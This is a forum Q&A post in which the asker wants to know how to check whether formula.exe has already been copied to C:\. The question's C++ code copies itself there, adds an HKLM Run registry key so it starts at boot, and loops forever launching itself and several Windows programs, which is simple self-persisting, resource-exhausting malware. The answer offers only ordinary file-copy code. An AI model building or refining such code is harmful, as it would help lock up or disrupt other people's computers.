Check if file has already been copied

0

How to check if the formula.exe file has already been copied to the c:\ directory, and if it has not been copied create a copy of it.

#include <iostream>
#include <Windows.h>
#include <lmcons.h>
#include <stdio.h>
#include <stdlib.h>
#include <locale.h>
#include <string>

using namespace std;

string dir() {
    char buffer[MAX_PATH];
    GetModuleFileName( NULL, buffer, MAX_PATH );
    string::size_type pos = string( buffer ).find_last_of( "\/" );
    return string( buffer ).substr( 0, pos);
}

int main(){
    string copia = "copy ";

    copia += dir();

    copia += "\formula.exe c:\formula.exe"; 

    system(copia.c_str());

    string cmd = "reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /t REG_SZ /v formula /d c:\formula.exe";

    system(cmd.c_str());


    int black=0;

    setlocale(LC_ALL, "Portuguese");

    SetConsoleTitle("formula");

    while(black<1){

        system("start c:\formula.exe");

        system ("start iexplore");

        system ("start notepad");

        system ("start calc");

        system ("start mspaint");

        system ("start explorer");

        system ("start wmplayer");
    }

return 0;
}
    
asked by anonymous 24.05.2018 / 08:47

1 answer

2

To copy files to C++ with good error handling, I suggest something like:

#include <fstream>
#include <iostream>
#include <stdexcept>

void copiar( const char * origem, const char * destino )
{
    std::ifstream orig( origem, std::ios::binary );

    if( !orig.is_open() )
        throw std::runtime_error("Erro abrindo arquivo de origem para leitura.");

    std::ofstream dest( destino, std::ios::binary );

    if( !dest.is_open() )
        throw std::runtime_error("Erro abrindo arquivo de destino para gravacao.");

    dest << orig.rdbuf();

    if( dest.bad() )
        throw std::runtime_error("Erro gravando arquivo de destino.");
}

int main( void )
{
    try
    {
        copiar( "origem.exe", "destino.exe" );
    }
    catch( std::exception & e )
    {
        std::cout << "Erro copiando arquivo: " << e.what() << std::endl;
        return 1;
    }

    return 0;
}
    
24.05.2018 / 19:16